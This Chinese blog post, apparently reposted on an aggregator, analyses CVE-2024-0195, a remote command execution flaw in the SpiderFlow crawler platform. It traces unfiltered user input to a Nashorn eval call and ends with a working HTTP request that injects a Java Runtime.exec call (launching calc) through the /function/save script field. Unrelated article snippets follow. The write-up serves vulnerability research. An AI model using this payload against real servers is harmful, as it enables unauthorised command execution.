CVE-2024-0195-SpiderFlow爬虫平台远程命令执行漏洞分析

项目下载地址

spider-flow: 新一代爬虫平台,以图形化方式定义爬虫流程,不写代码即可完成爬虫。icon-default.png?t=N7T8https://gitee.com/ssssssss-team/spider-flow

在平台spiderflow的页面中有一个自定义函数,看到函数应是非常的敏感了。

 

可以做一些猜想与尝试,定义的函数在什么时候可以调用?让定义的脚本执行系统命令?基于java的机制写一段静态代码段尝试一下!?

然而这些尝试都没有达到预期目的,现在我们尝试进入后端代码,调试调试看一看底层的调用机制。

输入一些参数开始进行抓包,抓包的目的是想看它调用了谁的接口

很明显,我们重点找/function/save

springboot项目 我们重点关注Controller的名称 注解RequestMapping 以寻求调用的方法

好的,我们成功找到了,接口的入口,而且注意到输入的数据都在function里

 

打上断点开始进入调式

追进savaFunction

继续追进validScript,注意参数的传递,

看看参数变成什么样了 ,concatScript函数把我们怎么处理了,直接看看它把参数处理的结果

 

它最终把输入的参数变成了字符串,而且可以确定的是ming can xxxx 这三个位置是我们可控的,且之前没有什么相关的参数过滤(这里先不考虑过滤器什么的机制 先这样认为)

再追进

停..... 这里我就要喊停了,因为再调就跳出三界之外了!这之前都是项目文件包中的代码逻辑,而这段eval 是jdk的。所以要停 即使我们不知道那个engine也要有这样的意识。作为一名代码审计员 任重而道远 要分析中重点的内容.....

重点分析这个eval 调用的时候是否有漏洞。 别忘了执行条命令的时候有些参数我们可以控制的。

我们把这个包名与这段代码,丢给GPT 看看它给我们的示例!

jdk.nashorn.api.scripting是Java 8中引入的一个包,它提供了与Nashorn JavaScript引擎交互的API。Nashorn是Java 8中默认的JavaScript引擎,为Java开发人员提供了在Java虚拟机上运行JavaScript代码的能力。

jdk.nashorn.api.scripting包中的类和接口提供了一系列方法,可以在Java和JavaScript之间进行数据交换、函数调用和脚本执行等操作。以下是一些常用的类和接口:

  • ScriptEngineManager:用于获取和管理不同脚本引擎的工厂类。

  • ScriptEngine:表示一个脚本引擎,可以在其中执行JavaScript脚本。

  • Bindings:一个键-值集合,用于在Java和JavaScript之间传递数据。

  • Invocable:表示一个可调用的JavaScript对象,可以在其中调用JavaScript函数。

  • ScriptContext:表示一个JavaScript脚本的执行环境,包括全局变量、输出流和错误流等。

使用这些类和接口,可以编写Java代码来执行JavaScript脚本、调用JavaScript函数、获取JavaScript对象等等,实现Java和JavaScript之间的无缝交互。

需要注意的是,虽然Nashorn是Java 8中默认的JavaScript引擎,但在Java 11中已经被弃用,建议使用其他JavaScript引擎库来代替。

 随后可以要求GPT给出示例代码

以下是一个使用jdk.nashorn.api.scripting包的简单示例,展示了如何在Java中执行JavaScript脚本和调用JavaScript函数:

javaCopy Codeimport javax.script.*;
​
public class NashornExample {public static void main(String[] args) throws ScriptException, NoSuchMethodException {// 创建一个ScriptEngineManager对象ScriptEngineManager manager = new ScriptEngineManager();// 获取Nashorn脚本引擎ScriptEngine engine = manager.getEngineByName("nashorn");// 定义JavaScript脚本String script = "function greet(name) { return 'Hello, ' + name; }";// 执行JavaScript脚本engine.eval(script);// 调用JavaScript函数Invocable invocable = (Invocable) engine;String result = (String) invocable.invokeFunction("greet", "John");System.out.println(result); // 输出:Hello, John}
}

在上述示例中,我们首先创建一个ScriptEngineManager对象,然后通过它获取一个Nashorn脚本引擎。接下来,我们定义了一个JavaScript脚本,其中包含一个名为greet的函数,该函数接受一个参数并返回一个拼接的字符串。

然后,我们使用engine.eval(script)方法执行JavaScript脚本。这将使脚本中的函数在脚本引擎中可用。

最后,我们使用Invocable接口将脚本引擎转换为可调用对象,并使用invokeFunction方法调用JavaScript函数。在这个例子中,我们调用greet函数并传递一个参数"John",并将返回的结果保存在一个字符串变量中。

最后,我们输出结果,将会打印出"Hello, John"。

请注意,在实际应用中,还需要处理异常情况和错误处理,以确保脚本的安全性和稳定性。同时,由于Nashorn已经被弃用,建议使用其他更先进的JavaScript引擎库,如GraalVM的JavaScript引擎。

这段脚本的确可以执行,不过可不是在这行代码engine.eval(script);中执行,而是在随后的反射调用中执行。

上网查查engine.eval 能否直接执行系统函数

看看网上结果不少,似乎思路是可行的。点开第一个

先在本地测试一下,没问题可以弹出计算机。

把这段代码到spider项目中 测试一下 。中间出了小插曲,这里报错了

看到报错有一个},立马意识到 我们在构造这个payload的时候,里面有一个{ 和前面闭合了 所以之后的} 也要闭合。

仔细一点,即使没有有报错信息我们也可以分析出,这也给代码审计人员提了个醒,payload测试不要急躁。

修正后的代码(在后面加{就行了)

保存, 成功弹出计算机

附赠poc

POST /function/save HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequestid=446b686c047b28bc30583782ea9088aa&name=test&parameter=can&script=return+java.lang.%2F****%2FRuntime%7D%3Br%3Dtest()%3Br.getRuntime().exec(%22calc%22)%3B%7B

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/632430.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

「优选算法刷题」:盛最多水的容器

一、题目 给定一个长度为 n 的整数数组 height 。有 n 条垂线,第 i 条线的两个端点是 (i, 0) 和 (i, height[i]) 。 找出其中的两条线,使得它们与 x 轴共同构成的容器可以容纳最多的水。 返回容器可以储存的最大水量。 说明:你不能倾斜容器…

RT Thread Stdio生成STM32L431RCT6无法启动问题

一、问题现象 使用RT thread Stdio生成STM32L431RCT6工程后,编译下载完成后系统无法启动,无法仿真debug; 二、问题原因 如果当前使用的芯片支持包版本为0.2.3,可能是这个版本问题,目前测试0.2.3存在问题&#xff0c…

【白话机器学习的数学】读书笔记(4)评估(评估已建立的模型)

四、评估(评估已建立的模型) 目录 四、评估(评估已建立的模型)1.评估什么2.交叉验证1 回归问题的验证2 分类问题的验证3 精确率和召回率1.精确率Precision2.召回率Recall 4 F值5 K折交叉验证 3.正则化1 正则化的方法2 正则化的效果3 分类的正则化4 包含正则化项的表达式的微分1…

docker安装运行CloudBeaver并设置默认语言为中文

1、CloudBeaver CloudBeaver 是一个开源的 Web 数据库管理工具,它提供了一个基于浏览器的用户界面,允许用户管理和操作各种类型的数据库。CloudBeaver 支持多种数据库系统,包括但不限于 PostgreSQL、MySQL、SQLite、Oracle、SQL Server 以及…

安全帽识别:智能监控新趋势

在现代工业安全领域,安全帽识别技术已成为一项关键的创新。这项技术通过智能监控系统确保工作人员在危险环境中佩戴安全帽,显著提升了工作场所的安全标准。本文将探讨这一技术的工作原理、应用前景及其在现代工业中的重要性。 安全帽识别的工作机制 安全…

YOLOv5全网独家首发:DCNv4更快收敛、更高速度、更高性能,效果秒杀DCNv3、DCNv2等 ,助力检测实现暴力涨点

💡💡💡本文独家改进:DCNv4更快收敛、更高速度、更高性能,完美和YOLOv5结合,助力涨点 DCNv4优势:(1) 去除空间聚合中的softmax归一化,以增强其动态性和表达能力;(2) 优化存储器访问以最小化冗余操作以加速。这些改进显著加快了收敛速度,并大幅提高了处理速度,DCN…

超级详细的linux centos NFS共享服务器搭建

目录 背景说明: 1.服务端操作 1.1创建目录 1.2创建组 1.3创建用户 1.4目录授权给www:www 1.5安装nfs服务端 1.6配置权限 1.7启动服务 2.客户端操作 2.1安装软件 2.2创建目录 2.3挂载 2.4测试 2.4.1读写删除测试 2.4.1只读测试 背景说明: 看了一个帖子NFS教程,…

设备树下Led驱动实验-Led驱动加载测试

一. 简介 本文对前面两篇文章实现的 Led驱动程序进行测试。 通过应用程序调用驱动程序,从而进行 Led灯的打开与关闭。 二. Led驱动加载测试 1. 准备测试程序 将 前面实验中 3_newchrled工程中应用程序拷贝到 5_dtsled工程目录下。 进入 5_dtsled工程目录下进…

uncaught referenceError:cannot access ‘xxxStore‘ before initialization

目录 一、问题 二、解决方法 三、总结 tiips:如嫌繁琐,直接移步总结即可! 一、问题 1.写代码的时候引入store,居然报错:store没有初始化就被使用了,连页面都打不开了。 1)错误如下,详细错误如下图1-1所…

瑞_Java开发手册_(六)工程结构

文章目录 工程结构的意义(一) 应用分层(二) 二方库依赖(三) 服务器 🙊前言:本文章为瑞_系列专栏之《Java开发手册》的工程结构篇,主要介绍应用分层、二方库依赖、服务器。由于博主是从阿里的《Java开发手册》学习到Java的编程规约&#xff0c…

[LitCTF 2023] Web类题目分享

[LitCTF 2023] Web类题目做法及思路解析(个人分享) 题目平台地址:NSSCTF | 在线CTF平台 一、[LitCTF 2023]我Flag呢? 奇怪,放哪里了,怎么看不见呢?(初级难度) 1.访问…

基于Harris角点的多视角图像全景拼接算法matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 4.1 Harris角点检测 4.2 图像配准 4.3 图像变换和拼接 4.4 全景图像优化 5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版本 matlab2022a 3.部分核心程序 function [ImageB…

C++--默认参数

一.默认参数🍗 C中允许函数提供默认参数,也就是允许在函数的声明或定义时给⼀个或多个参数指定默认值。在调 ⽤具有默认参数的函数时,如果没有提供实际参数,C将⾃动把默认参数作为相应参数的值。 二.使用规则🍗 1.如果…

Spring Boot 配置文件和日志

目录 配置文件格式 properties配置文件说明 1.properties基本语法 2.读取配置文件 3.properties缺点 yml配置文件说明 1.yml基本语法 2.配置不同数据类型 3.字符串特殊情况 4.配置对象 properties和yml对比 日志 日志的使用 日志级别 日志持久化 Lombok Lombo…

【MIdjourney】一些材质相关的关键词

1.多维剪纸(Multidimensional papercut) "Multidimensional papercut"(多维剪纸)是一种剪纸艺术形式,通过多层次的剪纸技巧和设计来创造出立体感和深度感。这种艺术形式通常涉及在不同的纸层上剪裁不同的图案,并将它们…

蓝桥杯真题(Python)每日练Day1

说明:在CSP认证的基础上(可以看看本人CSP打卡系列的博客)备赛2024蓝桥杯(Python),本人专业:大数据与数据科学 因此对python要求熟练掌握,通过练习蓝桥杯既能熟悉语法又能锻炼算法和思…

Vue表单输入密码实现密码格式和强度验证提示框-demo

实现效果 实现过程 校验 //密码格式校验 const validateUppercase (rule, value, callback) > {if (!/[A-Z]/.test(value)) {callback(new Error(密码必须包含至少一个大写字母));} else {callback();} }; const validateNumber (rule, value, callback) > {if (!/\d…

【论文简介】个性化真实人像生成方法(2024.01.15发布,即将开源)

零样本身份保留生成方法:声称效果好于PhotoMaker(即将开源) 2401.InstantID: Zero-shot Identity-Preserving Generation in Seconds : 项目主页:https://instantid.github.io/ 一、简介 本文的主要内容是介绍了一种…

【驱动】I2C驱动分析(二)-驱动框架

I2C驱动框架简介 I2C 驱动属于总线-设备-驱动模型的,与I2C总线设备驱动模型相比,大体框架是一样,系统的整体框架如下所示。 最上层是应用层,在应用层用户可以直接用open read write对设备进行操作,往下是设备驱动层&a…

Jenkins的环境部署,(打包、发布、部署、自动化测试)

一、Tomcat环境安装 1.安装JDK(Java环境) JDK下载地址:Java Downloads | Oracle 安装好后在系统环境变量里配置环境变量: ①添加JAVA_HOME 变量名:JAVA_HOME变量值:C:\Program Files\Java\jdk1.8.0_18…